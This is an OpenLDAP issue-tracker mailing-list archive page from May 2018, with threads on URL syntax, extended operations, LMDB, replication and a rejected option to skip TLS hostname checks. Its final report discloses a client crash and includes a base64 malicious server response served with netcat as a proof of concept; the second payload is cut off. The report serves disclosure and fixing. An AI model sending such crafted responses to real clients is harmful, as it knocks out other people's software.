cyBpdC4NCiINCg0KUkZDIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM0NTEzIChMREFQ KSBzYXlzIGJlbG93LCB0aGF0IEFVVE9NQVRFRCBjbGllbnQgc2hvdWxkIGxvZyBlcnJvciBidXQg bm90IHByb3ZpZGUgYW55IGNvbmZpZ3VyYWJsZSBvcHRpb24uDQoNCuKAnA0KDQpJZiB0aGUgc2Vy dmVyIGlkZW50aXR5IGNoZWNrIGZhaWxzLCB1c2VyLW9yaWVudGVkIGNsaWVudHMgU0hPVUxEDQog ICBlaXRoZXIgbm90aWZ5IHRoZSB1c2VyIChjbGllbnRzIG1heSBnaXZlIHRoZSB1c2VyIHRoZSBv cHBvcnR1bml0eSB0bw0KICAgY29udGludWUgd2l0aCB0aGUgTERBUCBzZXNzaW9uIGluIHRoaXMg Y2FzZSkgb3IgY2xvc2UgdGhlIHRyYW5zcG9ydA0KICAgY29ubmVjdGlvbiBhbmQgaW5kaWNhdGUg dGhhdCB0aGUgc2VydmVyJ3MgaWRlbnRpdHkgaXMgc3VzcGVjdC4NCiAgIEF1dG9tYXRlZCBjbGll bnRzIFNIT1VMRCBjbG9zZSB0aGUgdHJhbnNwb3J0IGNvbm5lY3Rpb24gYW5kIHRoZW4NCiAgIHJl dHVybiBvciBsb2cgYW4gZXJyb3IgaW5kaWNhdGluZyB0aGF0IHRoZSBzZXJ2ZXIncyBpZGVudGl0 eSBpcw0KICAgc3VzcGVjdCBvciBib3RoLg0K4oCcDQoNCk5vdCBzdXJlIGhvdyB0aGUgQVVUT01B VEVEIGNsaWVudHMgZGlmZmVyIGZvciBIVFRQIG9yIExEQVAuDQoNClNvIEkgd291bGQgbGlrZSB0 byBrbm93IHdoeSB0aGlzIGlzIG5vdCBpbXBsZW1lbnRlZCBvciBjYW4ndCBiZSBpbXBsZW1lbnRl ZCBmb3Igb3BlbkxEQVAuDQoNClJlZ2FyZHMsDQpTdWRoaXIgU2luZ2FtDQoNCkRFTElWRVJJTkcg QkVTVC1JTi1DTEFTUyBQTEFURk9STSBpcyBvdXIgdmlzaW9uDQoNCi0tLS0tT3JpZ2luYWwgTWVz c2FnZS0tLS0tDQpGcm9tOiBIb3dhcmQgQ2h1IFttYWlsdG86aHljQHN5bWFzLmNvbV0gDQpTZW50 OiBTdW5kYXksIE1heSAwNiwgMjAxOCAxMTo0NSBQTQ0KVG86IFNpbmdhbSwgU3VkaGlyIChOb2tp YSAtIElOL0JhbmdhbG9yZSkgPHN1ZGhpci5zaW5nYW1Abm9raWEuY29tPjsgb3BlbmxkYXAtaXRz QE9wZW5MREFQLm9yZw0KU3ViamVjdDogUmU6IChJVFMjODg0NikgUGF0Y2ggdG8gaW50cm9kdWNl IG5ldyBMREFQIG9wdGlvbiB0byBpZ25vcmUgaG9zdG5hbWUgY2hlY2tpbmcgd2hpbGUgdmVyaWZ5 aW5nIGNlcnRpZmljYXRlcyBpbiBUTFMgbW9kZQ0KDQpzdWRoaXIuc2luZ2FtQG5va2lhLmNvbSB3 cm90ZToNCj4gRnVsbF9OYW1lOiBTaW5nYW0gU3VkaGlyIFJlZGR5DQo+IFZlcnNpb246IG1hc3Rl ciBicmFuY2gNCj4gT1M6IGZlZG9yYQ0KPiBVUkw6IGZ0cDovL2Z0cC5vcGVubGRhcC5vcmcvaW5j b21pbmcvc3VkaGlyc2luZ2FtLTE4MDUwNi5wYXRjaA0KPiBTdWJtaXNzaW9uIGZyb206IChOVUxM KSAoNjEuMS4yMzIuMTU0KQ0KPiANCj4gDQo+IFRoZSBhdHRhY2hlZCBmaWxlIGlzIGRlcml2ZWQg ZnJvbSBPcGVuTERBUCBTb2Z0d2FyZS4gQWxsIG9mIHRoZSBtb2RpZmljYXRpb25zIHRvDQo+IE9w ZW5MREFQIFNvZnR3YXJlIHJlcHJlc2VudGVkIGluIHRoZSBmb2xsb3dpbmcgcGF0Y2goZXMpIHdl cmUgZGV2ZWxvcGVkIGJ5DQo+IE5PS0lBLiBOT0tJQSBoYXMgbm90IGFzc2lnbmVkIHJpZ2h0cyBh bmQvb3IgaW50ZXJlc3QgaW4gdGhpcyB3b3JrIHRvIGFueSBwYXJ0eS4NCj4gSSwgU0lOR0FNIFNV REhJUiBSRUREWSBhdXRob3JpemVkIGJ5IE5PS0lBLCBteSBlbXBsb3llciwgdG8gcmVsZWFzZSB0 aGlzIHdvcmsNCj4gdW5kZXIgdGhlIGZvbGxvd2luZyB0ZXJtcy4NCj4gDQo+IE5PS0lBIGhlcmVi eSBwbGFjZSB0aGUgZm9sbG93aW5nIG1vZGlmaWNhdGlvbnMgdG8gT3BlbkxEQVAgU29mdHdhcmUg KGFuZCBvbmx5DQo+IHRoZXNlIG1vZGlmaWNhdGlvbnMpIGludG8gdGhlIHB1YmxpYyBkb21haW4u IEhlbmNlLCB0aGVzZSBtb2RpZmljYXRpb25zIG1heSBiZQ0KPiBmcmVlbHkgdXNlZCBhbmQvb3Ig cmVkaXN0cmlidXRlZCBmb3IgYW55IHB1cnBvc2Ugd2l0aCBvciB3aXRob3V0IGF0dHJpYnV0aW9u DQo+IGFuZC9vciBvdGhlciBub3RpY2UuDQo+IA0KPiAqKioqDQo+IERlc2NyaXB0aW9uOg0KPiAN Cj4gVGhpcyBpcyBtaW5vciBlbmhhbmNlbWVudCB0byBpbnRyb2R1Y2UgYSBuZXcgTERBUCBvcHRp b24NCj4gIkxEQVBfT1BUX1hfVExTX0RFTUFORF9FWENMX0hPU1ROQU1FX0NIRUNLIiB0byBpZ25v cmUgaG9zdG5hbWUgY2hlY2tpbmcgYnkNCj4gY2xpZW50IGluIFRMUyBjb21tdW5pY2F0aW9uIG1v ZGUuIFRoaXMgaXMgdmVyeSBzaW1pbGFyIHRvDQo+ICJMREFQX09QVF9YX1RMU19ERU1BTkQiIExE QVAgb3B0aW9uIGV4Y2VwdCB0aGF0IEhPU1ROQU1FIGNoZWNraW5nIGlzIGlnbm9yZWQuDQo+IA0K PiBUaGlzIG9wdGlvbiBjYW4gYmUgc2V0IGJ5IGNsaWVudCBlaXRoZXIgYnkgdXNpbmcgTERBUCBB UEkgImxkYXBfc2V0X29wdGlvbiIgb3INCj4gY2FuIGJlIGdsb2JhbGx5IHNldCBpbiB0aGUgY29u ZmlndXJhdGlvbiBmaWxlIC9ldGMvb3BlbmxkYXAvbGRhcC5jb25mIGxpa2UNCj4gYmVsb3cuDQo+ IA0KPiBUTFNfUkVRQ0VSVCBkZW1hbmRfZXhjbF9ob3N0bmFtZV9jaGVjaw0KPiANCj4gUHVycG9z ZToNCj4gDQo+IEdlbmVyYWxseSBvcGVyYXRvcnMgdXNlIHNhbWUgc2V0IG9mIGNlcnRpZmljYXRl cyBmb3IgZGlmZmVyZW50IHNlcnZpY2VzIChmcm9tDQo+IGRpZmZlcmVudCBob3N0cykgd2hpY2gg c3VwcG9ydCBUTFMgY29tbXVuaWNhdGlvbi4gV2hlbiBzdWNoIGNlcnRpZmljYXRlcyBhcmUNCj4g dXNlZCwgdGhpcyBvcHRpb24gZ2l2ZXMgZmFjaWxpdHkgZm9yIG9wZW5sZGFwIGJhc2VkIHNlcnZp Y2VzIHRvIGlnbm9yZSBob3N0bmFtZQ0KPiBjaGVja2luZyBhdCBjbGllbnQgc2lkZS4NCg0KTm8u IElmIHlvdSdyZSB1c2luZyBhIHNpbmdsZSBzZXQgb2YgY2VydGlmaWNhdGVzIGZvciBtdWx0aXBs ZSBob3N0cyB5b3Ugc2hvdWxkIA0KYmUgdXNpbmcgYSB3aWxkY2FyZCBjZXJ0LiBDbG9zaW5nIHRo aXMgSVRTLg0KDQotLSANCiAgIC0tIEhvd2FyZCBDaHUNCiAgIENUTywgU3ltYXMgQ29ycC4gICAg ICAgICAgIGh0dHA6Ly93d3cuc3ltYXMuY29tDQogICBEaXJlY3RvciwgSGlnaGxhbmQgU3VuICAg ICBodHRwOi8vaGlnaGxhbmRzdW4uY29tL2h5Yy8NCiAgIENoaWVmIEFyY2hpdGVjdCwgT3BlbkxE QVAgIGh0dHA6Ly93d3cub3BlbmxkYXAub3JnL3Byb2plY3QvDQo=

1 0

Re: (ITS#8845) Cannot preserve existing controls with new extended operations
by hyc＠symas.com 08 May '18

08 May '18

ondra(a)mistotebe.net wrote: > On Fri, May 04, 2018 at 09:21:59PM +0000, quanah(a)openldap.org wrote: >> As noted in the OpenLDAP source >> (http://www.openldap.org/devel/gitweb.cgi?p=openldap.git;a=blob;f=servers/sl…) >> there is an issue with controls being reset with a new extended operation. This >> is problematic for a proxy auth mechanism being developed, as it needs to have >> the controls preserved while passing an extended op to slapd. >> >> A possibility would be to re-register the control, adding the corresponding >> extended operations, but the parsing function resets them so this unfortunately >> is not an option. > > The issue is actually allowing existing controls to be used with newly > registered exops, since the only way to declare the compatibility would > be by re-registering the control. Problem there is that built-in > controls have everything static to controls.c, so it's not even possible > to do that. > > A solution would be to add another piece of API that receives a pair of > (control OID, exop OID), finds the control and adds the OID to the > sc_extendedops(bv) lists. > > Going to do just that (register_control_exop() a decent name?). Makes sense. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#8845) Cannot preserve existing controls with new extended operations
by ondra＠mistotebe.net 08 May '18

08 May '18

On Fri, May 04, 2018 at 09:21:59PM +0000, quanah(a)openldap.org wrote: > As noted in the OpenLDAP source > (http://www.openldap.org/devel/gitweb.cgi?p=openldap.git;a=blob;f=servers/sl…) > there is an issue with controls being reset with a new extended operation. This > is problematic for a proxy auth mechanism being developed, as it needs to have > the controls preserved while passing an extended op to slapd. > > A possibility would be to re-register the control, adding the corresponding > extended operations, but the parsing function resets them so this unfortunately > is not an option. The issue is actually allowing existing controls to be used with newly registered exops, since the only way to declare the compatibility would be by re-registering the control. Problem there is that built-in controls have everything static to controls.c, so it's not even possible to do that. A solution would be to add another piece of API that receives a pair of (control OID, exop OID), finds the control and adds the OID to the sc_extendedops(bv) lists. Going to do just that (register_control_exop() a decent name?). Cheers, -- Ondřej Kuzník Senior Software Engineer Symas Corporation http://www.symas.com Packaged, certified, and supported LDAP solutions powered by OpenLDAP

1 0

Re: (ITS#8847) New LDAP URL syntax to support binding to specific IP address at client side
by michael＠stroeder.com 07 May '18

07 May '18

hyc(a)symas.com wrote: > ryan(a)openldap.org wrote: >> On Sun, May 06, 2018 at 01:50:23PM +0000, arekkusu(a)r42.ch wrote: >>> Adding a source IP to an URI feels wrong to it. >>> >>> I have not read RFC dealing with URI, however having a quick look [1] seems to >>> indicate that using the at sign in this way is non-standard. >> >> I agree. @ in URIs is already defined as separating credentials (or just >> username) from the host. I don't recall whether OpenLDAP supports that >> usage but in any case we shouldn't re-define it. > > Agreed. URI syntax is pretty thoroughly specified in multiple RFCs, nobody can > just arbitrarily decide to change it. And the point of a URI is that it is > valid for a destination no matter who/where the source is. > > This patch completely breaks the function and intent of URIs. IMO having the capability to specify the source IP is very useful in multi-homed host setups with strict network security. But of course one should not invent new URL syntax or abuse existing definitions. RFC 4516 indeed specifies LDAP URL extensions and this should be used. This also has the advantage that e.g. python-ldap's LDAP URL parser can also be used for that. Ideally one could write a very short I-D for such an extension. Ciao, Michael.

1 0

RE: (ITS#8848) New LDAP URL syntax to support binding to specific IP address at client side
by sudhir.singam＠nokia.com 07 May '18

07 May '18

Sorry this is same as 8847, please close it. Somehow new ticket got created= when I refresh browser page from last time. Sorry for the trouble. Regards, Sudhir Singam DELIVERING BEST-IN-CLASS PLATFORM is our vision -----Original Message----- From: openldap-its(a)OpenLDAP.org [mailto:openldap-its@OpenLDAP.org]=20 Sent: Monday, May 07, 2018 12:02 PM To: Singam, Sudhir (Nokia - IN/Bangalore) <sudhir.singam(a)nokia.com> Subject: Re: (ITS#8848) New LDAP URL syntax to support binding to specific = IP address at client side *** THIS IS AN AUTOMATICALLY GENERATED REPLY *** Thanks for your report to the OpenLDAP Issue Tracking System. Your report has been assigned the tracking number ITS#8848. One of our support engineers will look at your report in due course. Note that this may take some time because our support engineers are volunteers. They only work on OpenLDAP when they have spare time. If you need to provide additional information in regards to your issue report, you may do so by replying to this message. Note that any mail sent to openldap-its(a)openldap.org with (ITS#8848) in the subject will automatically be attached to the issue report. mailto:openldap-its@openldap.org?subject=3D(ITS#8848) You may follow the progress of this report by loading the following URL in a web browser: http://www.OpenLDAP.org/its/index.cgi?findid=3D8848 Please remember to retain your issue tracking number (ITS#8848) on any further messages you send to us regarding this report. If you don't then you'll just waste our time and yours because we won't be able to properly track the report. Please note that the Issue Tracking System is not intended to be used to seek help in the proper use of OpenLDAP Software. Such requests will be closed. OpenLDAP Software is user supported. http://www.OpenLDAP.org/support/ -------------- Copyright 1998-2007 The OpenLDAP Foundation, All Rights Reserved.

1 0

(ITS#8848) New LDAP URL syntax to support binding to specific IP address at client side
by sudhir.singam＠nokia.com 07 May '18

07 May '18

Full_Name: Singam Sudhir Reddy Version: master branch OS: fedora URL: ftp://ftp.openldap.org/incoming/sudhirsingam-180505.patch Submission from: (NULL) (131.228.66.13) The attached file is derived from OpenLDAP Software. All of the modifications to OpenLDAP Software represented in the following patch(es) were developed by NOKIA. NOKIA has not assigned rights and/or interest in this work to any party. I, SINGAM SUDHIR REDDY authorized by NOKIA, my employer, to release this work under the following terms. NOKIA hereby place the following modifications to OpenLDAP Software (and only these modifications) into the public domain. Hence, these modifications may be freely used and/or redistributed for any purpose with or without attribution and/or other notice. **** Description: Currently when using the openldap client and try to connect to LDAP server using LDAP URL, client automatically binds to an IP address returned by kernel. For example, in the below usage, client automatically binds to an IP address returned by kernel. ldapsearch -H ldap://10.63.57.239:389 D "uid=admin, ou=administrators, ou=topologymanagement, o=netscaperoot" -x -w admin -b "uid=baha, ou=people, ou=accounts, ou=region-911080, ou=regions, ou=netact, dc=noklab, dc=net, dc=localdomain" But if we want to route the traffic on a specific interface/IP address, currently there is no provision. And the idea or enhancement is to introduce such provision by giving source bind IP address in the URL in the following format. ldap://TARGET-IP-ADDRESS@SOURCE-BIND-IP-ADDRESS:PORT For example, ldapsearch -H ldap://10.63.57.239@10.37.220.9:389 D "uid=admin, ou=administrators, ou=topologymanagement, o=netscaperoot" -x -w admin -b "uid=baha, ou=people, ou=accounts, ou=region-911080, ou=regions, ou=netact, dc=noklab, dc=net, dc=localdomain" Note this feature is backward compatible, that is, it is optional to provide source bind IP address in the URL. This feature also supports IPV6 addresses.

1 0

Re: (ITS#8847) New LDAP URL syntax to support binding to specific IP address at client side
by hyc＠symas.com 06 May '18

06 May '18

ryan(a)openldap.org wrote: > On Sun, May 06, 2018 at 01:50:23PM +0000, arekkusu(a)r42.ch wrote: >> Adding a source IP to an URI feels wrong to it. >> >> I have not read RFC dealing with URI, however having a quick look [1] seems to >> indicate that using the at sign in this way is non-standard. > > I agree. @ in URIs is already defined as separating credentials (or just > username) from the host. I don't recall whether OpenLDAP supports that > usage but in any case we shouldn't re-define it. Agreed. URI syntax is pretty thoroughly specified in multiple RFCs, nobody can just arbitrarily decide to change it. And the point of a URI is that it is valid for a destination no matter who/where the source is. This patch completely breaks the function and intent of URIs. Closing this ITS. > I believe ITS#8654 is about the same feature? That one implemented this > by copying a Microsoft option, LDAP_OPT_SOCKET_BIND_ADDRESSES. I would > think that's probably a better approach. Maybe you could pick up where > the author of that one left off? He disappeared after posting his patch > for review... > > thanks > Ryan > > > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#8846) Patch to introduce new LDAP option to ignore hostname checking while verifying certificates in TLS mode
by hyc＠symas.com 06 May '18

06 May '18

sudhir.singam(a)nokia.com wrote: > Full_Name: Singam Sudhir Reddy > Version: master branch > OS: fedora > URL: ftp://ftp.openldap.org/incoming/sudhirsingam-180506.patch > Submission from: (NULL) (61.1.232.154) > > > The attached file is derived from OpenLDAP Software. All of the modifications to > OpenLDAP Software represented in the following patch(es) were developed by > NOKIA. NOKIA has not assigned rights and/or interest in this work to any party. > I, SINGAM SUDHIR REDDY authorized by NOKIA, my employer, to release this work > under the following terms. > > NOKIA hereby place the following modifications to OpenLDAP Software (and only > these modifications) into the public domain. Hence, these modifications may be > freely used and/or redistributed for any purpose with or without attribution > and/or other notice. > > **** > Description: > > This is minor enhancement to introduce a new LDAP option > "LDAP_OPT_X_TLS_DEMAND_EXCL_HOSTNAME_CHECK" to ignore hostname checking by > client in TLS communication mode. This is very similar to > "LDAP_OPT_X_TLS_DEMAND" LDAP option except that HOSTNAME checking is ignored. > > This option can be set by client either by using LDAP API "ldap_set_option" or > can be globally set in the configuration file /etc/openldap/ldap.conf like > below. > > TLS_REQCERT demand_excl_hostname_check > > Purpose: > > Generally operators use same set of certificates for different services (from > different hosts) which support TLS communication. When such certificates are > used, this option gives facility for openldap based services to ignore hostname > checking at client side. No. If you're using a single set of certificates for multiple hosts you should be using a wildcard cert. Closing this ITS. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#8847) New LDAP URL syntax to support binding to specific IP address at client side
by ryan＠openldap.org 06 May '18

06 May '18

On Sun, May 06, 2018 at 01:50:23PM +0000, arekkusu(a)r42.ch wrote: >Adding a source IP to an URI feels wrong to it. > >I have not read RFC dealing with URI, however having a quick look [1] seems to >indicate that using the at sign in this way is non-standard. I agree. @ in URIs is already defined as separating credentials (or just username) from the host. I don't recall whether OpenLDAP supports that usage but in any case we shouldn't re-define it. I believe ITS#8654 is about the same feature? That one implemented this by copying a Microsoft option, LDAP_OPT_SOCKET_BIND_ADDRESSES. I would think that's probably a better approach. Maybe you could pick up where the author of that one left off? He disappeared after posting his patch for review... thanks Ryan

1 0

Re: (ITS#8847) New LDAP URL syntax to support binding to specific IP address at client side
by arekkusu＠r42.ch 06 May '18

06 May '18

Adding a source IP to an URI feels wrong to it. I have not read RFC dealing with URI, however having a quick look [1] seems to indicate that using the at sign in this way is non-standard. Regardless of the syntax, I don't think a Uniform Resource Identifier is the right place to add source IP information. An LDAP URI typically refer to a (usually remote) LDAP server or servers. It's all about the destination. A source IP is machine specific. I think a separate option would make more sense. Any specific reason for wanting to add it in the URI? I am not an OpenLDAP developer/contributor, this is just my opinion. [1] https://en.wikipedia.org/wiki/Uniform_Resource_Identifier On Sun, 2018-05-06 at 06:15 +0000, sudhir.singam(a)nokia.com wrote: > Full_Name: Singam Sudhir Reddy > Version: master branch > OS: fedora > URL: ftp://ftp.openldap.org/incoming/sudhirsingam-180505.patch > Submission from: (NULL) (61.1.232.154) > > > The attached file is derived from OpenLDAP Software. All of the modifications > to > OpenLDAP Software represented in the following patch(es) were developed by > NOKIA. NOKIA has not assigned rights and/or interest in this work to any > party. > I, SINGAM SUDHIR REDDY authorized by NOKIA, my employer, to release this work > under the following terms. > > NOKIA hereby place the following modifications to OpenLDAP Software (and only > these modifications) into the public domain. Hence, these modifications may be > freely used and/or redistributed for any purpose with or without attribution > and/or other notice. > > **** > > Description: > > Currently when using the openldap client and try to connect to LDAP server > using > LDAP URL, client automatically binds to an IP address returned by kernel. > > For example, in the below usage, client automatically binds to an IP address > returned by kernel. > > ldapsearch -H ldap://10.63.57.239:389 D "uid=admin, ou=administrators, > ou=topologymanagement, o=netscaperoot" -x -w admin -b "uid=baha, ou=people, > ou=accounts, ou=region-911080, ou=regions, ou=netact, dc=noklab, dc=net, > dc=localdomain" > > But if we want to route the traffic on a specific interface/IP address, > currently there is no provision. And the idea or enhancement is to introduce > such provision by giving source bind IP address in the URL in the following > format. > > ldap://TARGET-IP-ADDRESS@SOURCE-BIND-IP-ADDRESS:PORT > > For example, > > ldapsearch -H ldap://10.63.57.239@10.37.220.9:389 D "uid=admin, > ou=administrators, ou=topologymanagement, o=netscaperoot" -x -w admin -b > "uid=baha, ou=people, ou=accounts, ou=region-911080, ou=regions, ou=netact, > dc=noklab, dc=net, dc=localdomain" > > Note this feature is backward compatible, that is, it is optional to provide > source bind IP address in the URL. > > This feature also supports IPV6 addresses. > >

1 0

(ITS#8847) New LDAP URL syntax to support binding to specific IP address at client side
by sudhir.singam＠nokia.com 06 May '18

06 May '18

Full_Name: Singam Sudhir Reddy Version: master branch OS: fedora URL: ftp://ftp.openldap.org/incoming/sudhirsingam-180505.patch Submission from: (NULL) (61.1.232.154) The attached file is derived from OpenLDAP Software. All of the modifications to OpenLDAP Software represented in the following patch(es) were developed by NOKIA. NOKIA has not assigned rights and/or interest in this work to any party. I, SINGAM SUDHIR REDDY authorized by NOKIA, my employer, to release this work under the following terms. NOKIA hereby place the following modifications to OpenLDAP Software (and only these modifications) into the public domain. Hence, these modifications may be freely used and/or redistributed for any purpose with or without attribution and/or other notice. **** Description: Currently when using the openldap client and try to connect to LDAP server using LDAP URL, client automatically binds to an IP address returned by kernel. For example, in the below usage, client automatically binds to an IP address returned by kernel. ldapsearch -H ldap://10.63.57.239:389 D "uid=admin, ou=administrators, ou=topologymanagement, o=netscaperoot" -x -w admin -b "uid=baha, ou=people, ou=accounts, ou=region-911080, ou=regions, ou=netact, dc=noklab, dc=net, dc=localdomain" But if we want to route the traffic on a specific interface/IP address, currently there is no provision. And the idea or enhancement is to introduce such provision by giving source bind IP address in the URL in the following format. ldap://TARGET-IP-ADDRESS@SOURCE-BIND-IP-ADDRESS:PORT For example, ldapsearch -H ldap://10.63.57.239@10.37.220.9:389 D "uid=admin, ou=administrators, ou=topologymanagement, o=netscaperoot" -x -w admin -b "uid=baha, ou=people, ou=accounts, ou=region-911080, ou=regions, ou=netact, dc=noklab, dc=net, dc=localdomain" Note this feature is backward compatible, that is, it is optional to provide source bind IP address in the URL. This feature also supports IPV6 addresses.

1 0

(ITS#8846) Patch to introduce new LDAP option to ignore hostname checking while verifying certificates in TLS mode
by sudhir.singam＠nokia.com 06 May '18

06 May '18

Full_Name: Singam Sudhir Reddy Version: master branch OS: fedora URL: ftp://ftp.openldap.org/incoming/sudhirsingam-180506.patch Submission from: (NULL) (61.1.232.154) The attached file is derived from OpenLDAP Software. All of the modifications to OpenLDAP Software represented in the following patch(es) were developed by NOKIA. NOKIA has not assigned rights and/or interest in this work to any party. I, SINGAM SUDHIR REDDY authorized by NOKIA, my employer, to release this work under the following terms. NOKIA hereby place the following modifications to OpenLDAP Software (and only these modifications) into the public domain. Hence, these modifications may be freely used and/or redistributed for any purpose with or without attribution and/or other notice. **** Description: This is minor enhancement to introduce a new LDAP option "LDAP_OPT_X_TLS_DEMAND_EXCL_HOSTNAME_CHECK" to ignore hostname checking by client in TLS communication mode. This is very similar to "LDAP_OPT_X_TLS_DEMAND" LDAP option except that HOSTNAME checking is ignored. This option can be set by client either by using LDAP API "ldap_set_option" or can be globally set in the configuration file /etc/openldap/ldap.conf like below. TLS_REQCERT demand_excl_hostname_check Purpose: Generally operators use same set of certificates for different services (from different hosts) which support TLS communication. When such certificates are used, this option gives facility for openldap based services to ignore hostname checking at client side. ****

1 0

(ITS#8845) Cannot preserve existing controls with new extended operations
by quanah＠openldap.org 04 May '18

04 May '18

Full_Name: Quanah Gibson-Mount Version: 2.4.46 OS: Linux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.148.239) As noted in the OpenLDAP source (http://www.openldap.org/devel/gitweb.cgi?p=openldap.git;a=blob;f=servers/sl…) there is an issue with controls being reset with a new extended operation. This is problematic for a proxy auth mechanism being developed, as it needs to have the controls preserved while passing an extended op to slapd. A possibility would be to re-register the control, adding the corresponding extended operations, but the parsing function resets them so this unfortunately is not an option.

1 0

Re: (ITS#8844) LMDB mdb_env_close is unsafe in forked child
by h.b.furuseth＠usit.uio.no 02 May '18

02 May '18

On 02/05/2018 18:05, hyc(a)openldap.org wrote: > Following on from ITS#8505. > mdb_env_close0() uses env->me_pid when clearing the readers table. If the env > was open in a process that forked, and the child process calls mdb_env_close(), > it will be clearing the wrong PID. Change this to use getpid() instead. Wait, what? The child didn't write any pids to the table. If there are pids for it to clear, something is wrong. That can be: - The pid is from an older run, and the system reused the pid. If we code for this, it should be to clear such pids during mdb_env_open. It gets very arbitrary to clear them when the user does env_close() in the child and the child happens to have the that reused pid. - The child opened a new MDB_env with the same path, and closes the parent's env afterwards. Don't Do That, users. But what to do in this situation, if we are to have code for it, is to do nothing with the lockfile. Not close it either, since closing it will lose the lock for the env which was opened in the child.

1 0

(ITS#8844) LMDB mdb_env_close is unsafe in forked child
by hyc＠openldap.org 02 May '18

02 May '18

Full_Name: Howard Chu Version: 2.4 OS: Linux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (83.136.45.253) Submitted by: hyc Following on from ITS#8505. mdb_env_close0() uses env->me_pid when clearing the readers table. If the env was open in a process that forked, and the child process calls mdb_env_close(), it will be clearing the wrong PID. Change this to use getpid() instead.

1 0

(ITS#8843) null modlist with MMR > 2 can cause segv
by quanah＠openldap.org 02 May '18

02 May '18

Full_Name: Quanah Gibson-Mount Version: 2.4.46 OS: Linux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.148.239) There is a race condition with MMR >2 that can cause slapd to segv, due to the op->modlist being set to NULL for a change that's already been processed. If the target entry is already newer than the mod, and we then look in the logDB to see what was changed, and the newer mod is a delete(attr) then any other changes to that attr are dropped from the modlist, which can result in the modlist being NULL

1 0

(ITS#8842) NULL pointer derefence
by openldap＠katzen.cc 01 May '18

01 May '18

Full_Name: Catz Meow Version: openldap-2.4.46 OS: Archlinux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (134.19.121.246) 2 small issues: I'm keeping it brief, let me know if you need more information. A malicious LDAP server or mitm attacker can craft a response that causes the ldap client to crash. Nothing critical, just a simoke DoS. echo "MAwCAQFhBwoBAAQABAAwNgIBAnkxBBFkYz1leGFtcGxlLGRjPWNvbQoBAgoBAAIBAAIBAAEBAIcL b2JqZWN0Y2xhc3MwADCBiQIBAmSBgwQRZGM9ZXhhbXBsZSxkYz1jb20wbjAnBAtvYmplY3RDbGFz czEYBAhkY09iamVjdAQMb3JnYW5pemF0aW9uMA8EAmRjMQkEB2V4YW1wbGUwDgQBbzEJBAdFeGFt cGxlMCIEC2Rlc2NyaXB0aW9uMRMEEUV4YW1wbGUgZGlyZWN0b3J5MHkCAQJkdAQZY249cm9vdCxk Yz1leGFtcGxlLGRjPWNvbTBXMCMEC29iamVjdENsYXNzMRQEEm9yZ2FuaXphdGlvbmFsUm9sZTAM BAJjbjEGBARyb290MCIEC2Rlc2NyaXB0aW9uMRMEEURpcmVjdG9yeSBNYW5hZ2VyMIIBcAIBAmSC AWkEGnVpZD1hZGFtLGRjPWV4YW1wbGUsZGM9Y29tMIIBSTA6BAtvYmplY3RDbGFzczErBAN0b3AE B2FjY291bnQEDHBvc2l4QWNjb3VudAQNc2hhZG93QWNjb3VudDAMBAJjbjEGBARhZGFtMA0EA3Vp ZDEGBARhZGFtMBQECXVpZE51bWJlcjEHBAUxNjg1OTASBAlnaWROdW1iZXIxBQQDMTAwMB0EDWhv bWVEaXJlY3RvcnkxDAQKL2hvbWUvYWRhbTAZBApsb2dpblNoZWxsMQsECS9iaW4vYmFzaDAPBAVn ZWNvczEGBARhZGFtMBcEEHNoYWRvd0xhc3RDaGFuZ2UxAwQBMDAQBAlzaGFkb3dNYXgxAwQBMDAU BA1zaGFkb3dXYXJuaW5nMQMEATAwOAQMdXNlclBhc3N3b3JkMSgEJntTU0hBfXMzdWIwNnpCNVd2 UmVUZFZPOEVRelRMWVhvSFRCWGVNMAwCAQJlBwoBAAQABAA=" | base64 -d | nc -lvp 14222 ./clients/tools/.libs/ldapsearch -D cn=root,dc=example,dc=com -b dc=example,dc=com -h 127.0.0.1:14222 -x -w secret Affected code: ./clients/tools/ldapsearch.c static int dosearch( [...] case LDAP_RES_INTERMEDIATE: npartial++; ldap_parse_intermediate( ld, msg, &retoid, &retdata, NULL, 0 ); nresponses_psearch = 0; if ( strcmp( retoid, LDAP_SYNC_INFO ) == 0 ) { The problem here is that retoid can be NULL after ldap_parse_intermediate() is called. Another NULL pointer dereference caused by a bad response: echo "MAwCAQFhBwoBAAQABAAwgYkCAQJkgYMEEWRjPWV4YW1wbGUsZGM9AARtMG4wJwQLb2JqZWN0Q2xh c3MxGAQIZGNPYmplY3QEDG9yZ2FuaXphdGlvbjAPBAJkYzEJBAdleGFtcGxlMA4EAW8xCQQHRXhh bXBsZTAiBAtkZXNjcmlwdGlvbjETBBFFeGFtcGxlIGRpcmVjdG9yeTB5AgECZHQEGWNuPXJvb3Qs ZGM9ZXhhbXBsZSxkYz1jb20wVzAjBAtvYmplY3RDbGFzczEUBBJvcmdhbml6YXRpb25hbFJvbGUw DAQCY24xBgQEcm9vdDAiBAtkZXNjcmlwdGlvbjETBBFEaXJlY3RvcnkgTWFuYWdlcjCCAXACAQJk ggFpBBp1aWQ9YWRhbSxkYz1leGFtcGxlLGRjPWNvbTCCAUkwOgQLb2JqZWN0Q2xhc3MxKwQDdG9w BAdhY2NvdW50BAxwb3NpeEFjY291bnQEDXNoYWRvd0FjY291bnQwDAQCY24xBgQEYWRhbTANBAN1 aWQxBgQEYWRhbTAUBAl1aWROdW1iZXIxBwQFMTY4NTkwEgQJZ2lkTnVtYmVyMQUEAzEwMDAdBA1o b21lRGlyZWN0b3J5MQwECi9ob21lL2FkYW0wGQQKbG9naW5TaGVsbDELBAkvYmluL2Jhc2gwDwQF Z2Vjb3MxBgQEYWRhbTAXBBBzaGFkb3dMYXN0Q2hhbmdlMQMEATAwEAQJc2hhZG93TWF4MQMEATAw 